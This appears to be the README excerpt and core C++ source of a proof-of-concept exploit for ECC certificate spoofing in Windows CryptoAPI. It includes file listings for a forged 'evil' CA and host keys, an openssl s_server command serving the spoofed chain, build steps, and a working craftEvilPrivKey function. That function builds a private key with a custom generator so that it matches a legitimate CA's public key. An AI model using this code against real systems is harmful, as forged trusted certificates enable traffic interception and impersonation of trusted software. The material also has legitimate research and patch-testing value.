test-cve_evil-ca.crt -- evil CA
test-cve_evil-privkey.key -- evil CA's private key in PEM format
test-cve_evil-privkey-pk8.key -- evil CA's private key in PKCS#8 format
test-cve_host-cert.crt -- target host's certificate (example.com by default)
test-cve_host-privkey.key -- target host's private key (example.com by default)

sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

mkdir build
cd build
cmake ..
make

bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
                      char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
                      bool doSave, const char *evilPrivKeyFileName)
{
    // load public key of the provided certificate into native CryptoPP type
    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
                                         caPubKeyRawLen, true).Ref());

    // generate a private key using the same curve as in the provided CA certificate
    CryptoPP::AutoSeededRandomPool prng;
    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

    // get the private key elliptic curve parameters
    CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
    ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
    CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();

    // calculate an inverse value of the private key
    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
    // produce our custom generator (base point) as a multiplication of the inverse value of our private key
    // and the public key of the provided CA certificate
    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

    // create an "evil" private key object using the base private's key exponent and curve but
    // with our "evil" generator (base point)
    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

    // convert evil private key into PKCS8 format
    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

    if (doSave) {
        // save it as-is so this can be imported by some tools
        evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
    }

    // the code below converts the key to DER format
    // however, as we have here our custom curve (not the "named" one), most of the
    // tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
    CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
    privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
    *outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif

    return true;
}